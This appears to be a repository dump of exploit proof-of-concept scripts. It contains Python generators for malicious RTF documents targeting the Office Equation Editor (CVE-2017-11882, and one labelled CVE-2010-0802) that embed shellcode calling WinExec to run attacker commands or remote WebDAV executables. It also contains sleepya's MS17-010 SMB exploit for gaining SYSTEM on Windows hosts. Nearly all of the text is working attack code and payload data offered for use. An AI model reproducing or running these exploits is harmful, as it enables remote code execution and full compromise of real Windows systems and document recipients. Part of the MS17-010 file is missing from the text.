82 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 83 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 84 | ffffff01000002080000000000000000000000000000000000000000000000000000000000000000 85 | 0000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff02 86 | ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e 87 | 30000c0000004453204571756174696f6e000b0000004571756174696f6e2e3300f439b271000000 88 | 00000000000000000000000000000000000000000000000000000000000000000000000000030004 89 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 90 | 000000000000000000000000000000000000001c00000002009ec4a900000000000000c8a75c00c4 91 | ee5b0000000000030101030a0a01085a5a33c099b202c1e2082be2e8ffffffffc35b50648b40308b 92 | 400899b203c1e21066ba120c03c28d5b1c53ffe02020202000000000000000000000000000000000 93 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 94 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 95 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 96 | 00000000000000000000000000000000000000000000000000000000000000000000004500710075 97 | 006100740069006f006e0020004e0061007400690076006500000000000000000000000000000000 98 | 0000000000000000000000000000000000000020000200ffffffffffffffffffffffff0000000000 99 | 0000000000000000000000000000000000000000000000000000000000000004000000c500000000 100 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 101 | 00000000000000000000000000000000000000000000000000000000000000ffffffffffffffffff 102 | ffffff00000000000000000000000000000000000000000000000000000000000000000000000000 103 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 104 | 000000000000000000000000000000000000000000000000000000000000000000000000000000ff 105 | ffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000 106 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 107 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 108 | 00000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000 109 | 00000000000000000000000000000000000000000000000000000001050000050000000d0000004d 110 | 45544146494c4550494354003421000035feffff9201000008003421cb010000010009000003c500 111 | 000002001c00000000000500000009020000000005000000020101000000050000000102ffffff00 112 | 050000002e0118000000050000000b0200000000050000000c02a001201e1200000026060f001a00 113 | ffffffff000010000000c0ffffffc6ffffffe01d0000660100000b00000026060f000c004d617468 114 | 54797065000020001c000000fb0280fe0000000000009001000000000402001054696d6573204e65 115 | 7720526f6d616e00feffffff6b2c0a0700000a0000000000040000002d0100000c000000320a6001 116 | 90160a000000313131313131313131310c000000320a6001100f0a00000031313131313131313131 117 | 0c000000320a600190070a000000313131313131313131310c000000320a600110000a0000003131 118 | 31313131313131310a00000026060f000a00ffffffff0100000000001c000000fb02100007000000 119 | 0000bc02000000000102022253797374656d000048008a0100000a000600000048008a01ffffffff 120 | 7cef1800040000002d01010004000000f0010000030000000000 121 | """ 122 | 123 | 124 | COMMAND_OFFSET = (0x949+0x2b)*2 125 | COMD_LEN = (0x94-0x2b) 126 | 127 | def create_ole_exec_primitive(command): 128 | if len(command) > COMD_LEN: 129 | raise ValueError("primitive command must be shorter than 148 bytes") 130 | hex_command = command.encode("hex") 131 | hex_command += (COMD_LEN - len(command)) * "20" 132 | hex_command += "2500" 133 | 134 | objdata_hex_stream = OBJDATA_TEMPLATE.translate(None, "\r\n") 135 | ole_data = objdata_hex_stream[:COMMAND_OFFSET] + hex_command + objdata_hex_stream[COMMAND_OFFSET + len(hex_command):] 136 | return OBJECT_HEADER + ole_data + OBJECT_TRAILER 137 | 138 | 139 | def create_rtf(header, trailer, executable): 140 | ole = create_ole_exec_primitive("cmd.exe /c " + executable + " #") 141 | # We need 2 or more commands for executing remote file from WebDAV 142 | # because WebClient service start may take some time 143 | return header + ole + trailer 144 | 145 | 146 | if __name__ == '__main__': 147 | parser = argparse.ArgumentParser(description="PoC for CVE-2010-0802") 148 | parser.add_argument("-e", "--executable", help="Remote executable in WebDAV path", required=True) 149 | parser.add_argument('-o', "--output", help="Output exploit rtf", required=True) 150 | 151 | args = parser.parse_args() 152 | 153 | rtf_content = create_rtf(RTF_HEADER, RTF_TRAILER, args.executable) 154 | 155 | output_file = open(args.output, "w") 156 | output_file.write(rtf_content) 157 | 158 | print "!!! Completed !!!" 159 | -------------------------------------------------------------------------------- /CVE-2017-11882/Command_CVE_2017-11882_109.py: -------------------------------------------------------------------------------- 1 | # Original poc :https://github.com/embedi/CVE-2017-11882 2 | # This version accepts a command with 109 bytes long in maximum. 3 | # Sorry I don't know how to read the struct in objdata, hence I cannot modify the length parameter to aquire a arbitrary length code execution. 4 | # But that's enough in exploitation. We can use regsvr32 to load sct file remotely.:) 5 | 6 | import argparse 7 | import sys 8 | from struct import pack 9 | 10 | head=r'''{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}} 11 | {\*\generator Riched20 6.3.9600}\viewkind4\uc1 12 | \pard\sa200\sl276\slmult1\f0\fs22\lang9{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata 01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000000000000000008020cea5613cd30103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000201ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000001400000000000000010043006f006d0070004f0062006a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000001000000660000000000000003004f0062006a0049006e0066006f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201ffffffff04000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000030000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff010000020800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff02ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e30000c0000004453204571756174696f6e000b0000004571756174696f6e2e3300f439b271000000000000000000000000000000000000000000000000000000000000000000000000000000000300040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 13 | ''' 14 | 15 | tail=r''' 16 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004500710075006100740069006F006E0020004E00610074006900760065000000000000000000000000000000000000000000000000000000000000000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000004000000C5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001050000050000000D0000004D45544146494C4550494354003421000035FEFFFF9201000008003421CB010000010009000003C500000002001C00000000000500000009020000000005000000020101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE0000000000009001000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A600190160A000000313131313131313131310C000000320A6001100F0A000000313131313131313131310C000000320A600190070A000000313131313131313131310C000000320A600110000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB021000070000000000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFF7CEF1800040000002D01010004000000F0010000030000000000 17 | }{\result {\rtlch\fcs1 \af0 \ltrch\fcs0 \dn8\insrsid95542\charrsid95542 {\pict{\*\picprop\shplid1025{\sp{\sn shapeType}{\sv 75}}{\sp{\sn fFlipH}{\sv 0}} 18 | {\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fLockAspectRatio}{\sv 1}}{\sp{\sn pictureGray}{\sv 0}}{\sp{\sn pictureBiLevel}{\sv 0}}{\sp{\sn fRecolorFillAsPicture}{\sv 0}}{\sp{\sn fUseShapeAnchor}{\sv 0}}{\sp{\sn fFilled}{\sv 0}}{\sp{\sn fHitTestFill}{\sv 1}} 19 | {\sp{\sn fillShape}{\sv 1}}{\sp{\sn fillUseRect}{\sv 0}}{\sp{\sn fNoFillHitTest}{\sv 0}}{\sp{\sn fLine}{\sv 0}}{\sp{\sn fPreferRelativeResize}{\sv 1}}{\sp{\sn fReallyHidden}{\sv 0}} 20 | {\sp{\sn fScriptAnchor}{\sv 0}}{\sp{\sn fFakeMaster}{\sv 0}}{\sp{\sn fCameFromImgDummy}{\sv 0}}{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex100\picscaley100\piccropl0\piccropr0\piccropt0\piccropb0 21 | \picw353\pich600\picwgoal200\pichgoal340\wmetafile8\bliptag1846300541\blipupi2307{\*\blipuid 6e0c4f7df03da08a8c6c623556e3c652}0100090000035100000000001200000000000500000009020000000005000000020101000000050000000102ffffff00050000002e0118000000050000000b02 22 | 00000000050000000c02200240011200000026060f001a00ffffffff000010000000c0ffffffaaffffff00010000ca0100000b00000026060f000c004d61746854797065000040000a00000026060f000a00ffffffff010000000000030000000000}}}} 23 | \par} 24 | ''' 25 | #0: b8 44 eb 71 12 mov eax,0x1271eb44 26 | #5: ba 78 56 34 12 mov edx,0x12345678 27 | #a: 31 d0 xor eax,edx 28 | #c: 8b 08 mov ecx,DWORD PTR [eax] 29 | #e: 8b 09 mov ecx,DWORD PTR [ecx] 30 | #10: 8b 09 mov ecx,DWORD PTR [ecx] 31 | #12: 66 83 c1 3c add cx,0x3c 32 | #16: 31 db xor ebx,ebx 33 | #18: 53 push ebx 34 | #19: 51 push ecx 35 | #1a: be 64 3e 72 12 mov esi,0x12723e64 36 | #1f: 31 d6 xor esi,edx 37 | #21: ff 16 call DWORD PTR [esi] // call WinExec 38 | #23: 53 push ebx 39 | #24: 66 83 ee 4c sub si,0x4c 40 | #28: ff 10 call DWORD PTR [eax] // call ExitProcess 41 | stage1="\xB8\x44\xEB\x71\x12\xBA\x78\x56\x34\x12\x31\xD0\x8B\x08\x8B\x09\x8B\x09\x66\x83\xC1\x3C\x31\xDB\x53\x51\xBE\x64\x3E\x72\x12\x31\xD6\xFF\x16\x53\x66\x83\xEE\x4C\xFF\x10" 42 | 43 | 44 | # pads with nop 45 | stage1=stage1.ljust(44,'\x90') 46 | 47 | def genrtf(cmd): 48 | if len(cmd) > 109: 49 | print "[!] Primitive command must be shorter than 109 bytes" 50 | sys.exit(0) 51 | payload='\x1c\x00\x00\x00\x02\x00\x9e\xc4\xa9\x00\x00\x00\x00\x00\x00\x00\xc8\xa7\\\x00\xc4\xee[\x00\x00\x00\x00\x00\x03\x01\x01\x03\n\n\x01\x08ZZ' 52 | payload+=stage1 53 | payload+=pack(' " + args.output 73 | -------------------------------------------------------------------------------- /CVE-2017-11882/Command_CVE-2017-11882.py: -------------------------------------------------------------------------------- 1 | #-*-coding:utf-8-*- 2 | import argparse 3 | import sys 4 | 5 | 6 | RTF_HEADER = R"""{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}} 7 | {\*\generator Riched20 6.3.9600}\viewkind4\uc1 8 | \pard\sa200\sl276\slmult1\f0\fs22\lang9""" 9 | 10 | 11 | RTF_TRAILER = R"""\par} 12 | """ 13 | 14 | 15 | OBJECT_HEADER = R"""{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata """ 16 | 17 | 18 | OBJECT_TRAILER = R""" 19 | }{\result {\rtlch\fcs1 \af0 \ltrch\fcs0 \dn8\insrsid95542\charrsid95542 {\pict{\*\picprop\shplid1025{\sp{\sn shapeType}{\sv 75}}{\sp{\sn fFlipH}{\sv 0}} 20 | {\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fLockAspectRatio}{\sv 1}}{\sp{\sn pictureGray}{\sv 0}}{\sp{\sn pictureBiLevel}{\sv 0}}{\sp{\sn fRecolorFillAsPicture}{\sv 0}}{\sp{\sn fUseShapeAnchor}{\sv 0}}{\sp{\sn fFilled}{\sv 0}}{\sp{\sn fHitTestFill}{\sv 1}} 21 | {\sp{\sn fillShape}{\sv 1}}{\sp{\sn fillUseRect}{\sv 0}}{\sp{\sn fNoFillHitTest}{\sv 0}}{\sp{\sn fLine}{\sv 0}}{\sp{\sn fPreferRelativeResize}{\sv 1}}{\sp{\sn fReallyHidden}{\sv 0}} 22 | {\sp{\sn fScriptAnchor}{\sv 0}}{\sp{\sn fFakeMaster}{\sv 0}}{\sp{\sn fCameFromImgDummy}{\sv 0}}{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex100\picscaley100\piccropl0\piccropr0\piccropt0\piccropb0 23 | \picw353\pich600\picwgoal200\pichgoal340\wmetafile8\bliptag1846300541\blipupi2307{\*\blipuid 6e0c4f7df03da08a8c6c623556e3c652}0100090000035100000000001200000000000500000009020000000005000000020101000000050000000102ffffff00050000002e0118000000050000000b02 24 | 00000000050000000c02200240011200000026060f001a00ffffffff000010000000c0ffffffaaffffff00010000ca0100000b00000026060f000c004d61746854797065000040000a00000026060f000a00ffffffff010000000000030000000000}}}} 25 | """ 26 | 27 | 28 | OBJDATA_TEMPLATE = R""" 29 | 01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1 30 | b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001 31 | 0000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffff 32 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 33 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 34 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 35 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 36 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 37 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 38 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 39 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 40 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 41 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 42 | fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffe 43 | fffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 44 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 45 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 46 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 47 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 48 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 49 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 50 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 51 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 52 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 53 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 54 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 55 | ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0074007200790000 56 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 57 | 00000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000 58 | 000000000000008020cea5613cd30103000000000200000000000001004f006c0065000000000000 59 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 60 | 00000000000000000000000a000201ffffffffffffffffffffffff00000000000000000000000000 61 | 0000000000000000000000000000000000000000000000000000001400000000000000010043006f 62 | 006d0070004f0062006a000000000000000000000000000000000000000000000000000000000000 63 | 00000000000000000000000000000000000000120002010100000003000000ffffffff0000000000 64 | 00000000000000000000000000000000000000000000000000000000000000010000006600000000 65 | 00000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000 66 | 00000000000000000000000000000000000000000000000000000012000201ffffffff04000000ff 67 | ffffff00000000000000000000000000000000000000000000000000000000000000000000000003 68 | 0000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000fe 69 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 70 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 71 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 72 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 73 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 74 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 75 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 76 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 77 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 78 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 79 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 80 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 81 | ffffff01000002080000000000000000000000000000000000000000000000000000000000000000 82 | 0000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff02 83 | ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e 84 | 30000c0000004453204571756174696f6e000b0000004571756174696f6e2e3300f439b271000000 85 | 00000000000000000000000000000000000000000000000000000000000000000000000000030004 86 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 87 | 000000000000000000000000000000000000001c00000002009ec4a900000000000000c8a75c00c4 88 | ee5b0000000000030101030a0a01085a5a4141414141414141414141414141414141414141414141 # 5a5a + command + AAAAAAA 89 | 414141414141414141414141414141414141414141120c4300000000000000000000000000000000 90 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 91 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 92 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 93 | 00000000000000000000000000000000000000000000000000000000000000000000004500710075 94 | 006100740069006f006e0020004e0061007400690076006500000000000000000000000000000000 95 | 0000000000000000000000000000000000000020000200ffffffffffffffffffffffff0000000000 96 | 0000000000000000000000000000000000000000000000000000000000000004000000c500000000 97 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 98 | 00000000000000000000000000000000000000000000000000000000000000ffffffffffffffffff 99 | ffffff00000000000000000000000000000000000000000000000000000000000000000000000000 100 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 101 | 000000000000000000000000000000000000000000000000000000000000000000000000000000ff 102 | ffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000 103 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 104 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 105 | 00000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000 106 | 00000000000000000000000000000000000000000000000000000001050000050000000d0000004d 107 | 45544146494c4550494354003421000035feffff9201000008003421cb010000010009000003c500 108 | 000002001c00000000000500000009020000000005000000020101000000050000000102ffffff00 109 | 050000002e0118000000050000000b0200000000050000000c02a001201e1200000026060f001a00 110 | ffffffff000010000000c0ffffffc6ffffffe01d0000660100000b00000026060f000c004d617468 111 | 54797065000020001c000000fb0280fe0000000000009001000000000402001054696d6573204e65 112 | 7720526f6d616e00feffffff6b2c0a0700000a0000000000040000002d0100000c000000320a6001 113 | 90160a000000313131313131313131310c000000320a6001100f0a00000031313131313131313131 114 | 0c000000320a600190070a000000313131313131313131310c000000320a600110000a0000003131 115 | 31313131313131310a00000026060f000a00ffffffff0100000000001c000000fb02100007000000 116 | 0000bc02000000000102022253797374656d000048008a0100000a000600000048008a01ffffffff 117 | 7cef1800040000002d01010004000000f0010000030000000000 118 | """ 119 | 120 | 121 | COMMAND_OFFSET = 0x949*2 122 | 123 | 124 | def create_ole_exec_primitive(command): 125 | if len(command) > 43: # 命令的长度不能大于43字节 126 | print "[!] Primitive command must be shorter than 43 bytes" 127 | sys.exit(0) 128 | hex_command = command.encode("hex") # 命令编码为hex 129 | objdata_hex_stream = OBJDATA_TEMPLATE.translate(None, "\r\n") # 将OBJDATA_TEMPLATE转换为 130 | ole_data = objdata_hex_stream[:COMMAND_OFFSET] + hex_command + objdata_hex_stream[COMMAND_OFFSET + len(hex_command):] 131 | print objdata_hex_stream[:COMMAND_OFFSET] 132 | return OBJECT_HEADER + ole_data + OBJECT_TRAILER # 头+OLE_data+尾 133 | 134 | 135 | 136 | def create_rtf(header,command,trailer): 137 | ole1 = create_ole_exec_primitive(command + " &") 138 | 139 | # We need 2 or more commands for executing remote file from WebDAV 140 | # because WebClient service start may take some time 141 | return header + ole1 + trailer # header -> RTF_HEADER trailer -> RTF_TRAILER 142 | 143 | 144 | 145 | if __name__ == '__main__': 146 | parser = argparse.ArgumentParser(description="PoC for CVE-2017-11882") 147 | parser.add_argument("-c", "--command", help="Command to execute.", required=True) 148 | parser.add_argument('-o', "--output", help="Output exploit rtf", required=True) 149 | 150 | args = parser.parse_args() 151 | 152 | rtf_content = create_rtf(RTF_HEADER, args.command ,RTF_TRAILER) # 执行的命令 153 | 154 | output_file = open(args.output, "w") # 写出文件名 155 | output_file.write(rtf_content) 156 | 157 | print "[*] Done ! output file --> " + args.output 158 | -------------------------------------------------------------------------------- /MS17-010/ms17-010.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from impacket import smb, smbconnection 3 | from mysmb import MYSMB 4 | from struct import pack, unpack, unpack_from 5 | import sys 6 | import socket 7 | import time 8 | 9 | ''' 10 | MS17-010 exploit for Windows 2000 and later by sleepya 11 | 12 | Note: 13 | - The exploit should never crash a target (chance should be nearly 0%) 14 | - The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed 15 | 16 | Tested on: 17 | - Windows 2016 x64 18 | - Windows 10 Pro Build 10240 x64 19 | - Windows 2012 R2 x64 20 | - Windows 8.1 x64 21 | - Windows 2008 R2 SP1 x64 22 | - Windows 7 SP1 x64 23 | - Windows 2008 SP1 x64 24 | - Windows 2003 R2 SP2 x64 25 | - Windows XP SP2 x64 26 | - Windows 8.1 x86 27 | - Windows 7 SP1 x86 28 | - Windows 2008 SP1 x86 29 | - Windows 2003 SP2 x86 30 | - Windows XP SP3 x86 31 | - Windows 2000 SP4 x86 32 | ''' 33 | 34 | USERNAME = '' 35 | PASSWORD = '' 36 | 37 | ''' 38 | A transaction with empty setup: 39 | - it is allocated from paged pool (same as other transaction types) on Windows 7 and later 40 | - it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier 41 | - no lookaside or caching method for allocating it 42 | 43 | Note: method name is from NSA eternalromance 44 | 45 | For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit 46 | for freed pool from large pool). Additionally, the exploit does the information leak to check transactions 47 | alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later. 48 | 49 | For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size 50 | smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But 51 | a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server). 52 | Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment 53 | in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback 54 | of this method is we cannot do information leak to verify transactions alignment before OOB write. 55 | So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier. 56 | ''' 57 | 58 | ''' 59 | Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext() 60 | win7 x64 61 | struct SrvSecContext { 62 | DWORD xx1; // second WORD is size 63 | DWORD refCnt; 64 | PACCESS_TOKEN Token; // 0x08 65 | DWORD xx2; 66 | BOOLEAN CopyOnOpen; // 0x14 67 | BOOLEAN EffectiveOnly; 68 | WORD xx3; 69 | DWORD ImpersonationLevel; // 0x18 70 | DWORD xx4; 71 | BOOLEAN UsePsImpersonateClient; // 0x20 72 | } 73 | win2012 x64 74 | struct SrvSecContext { 75 | DWORD xx1; // second WORD is size 76 | DWORD refCnt; 77 | QWORD xx2; 78 | QWORD xx3; 79 | PACCESS_TOKEN Token; // 0x18 80 | DWORD xx4; 81 | BOOLEAN CopyOnOpen; // 0x24 82 | BOOLEAN EffectiveOnly; 83 | WORD xx3; 84 | DWORD ImpersonationLevel; // 0x28 85 | DWORD xx4; 86 | BOOLEAN UsePsImpersonateClient; // 0x30 87 | } 88 | 89 | SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user. 90 | It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. 91 | From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL, 92 | PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns 93 | STATUS_SUCCESS when Token is NULL. 94 | If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM) 95 | to do all SMB operations. 96 | Note: for Windows 2003 and earlier, the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only 97 | ImpersonateSecurityContext() is used in these Windows versions. 98 | ''' 99 | ########################### 100 | # info for modify session security context 101 | ########################### 102 | WIN7_64_SESSION_INFO = { 103 | 'SESSION_SECCTX_OFFSET': 0xa0, 104 | 'SESSION_ISNULL_OFFSET': 0xba, 105 | 'FAKE_SECCTX': pack(' [pipe_name]".format(sys.argv[0])) 991 | sys.exit(1) 992 | 993 | target = sys.argv[1] 994 | pipe_name = None if len(sys.argv) < 3 else sys.argv[2] 995 | 996 | exploit(target, pipe_name) 997 | print('Done') 998 | 999 | --------------------------------------------------------------------------------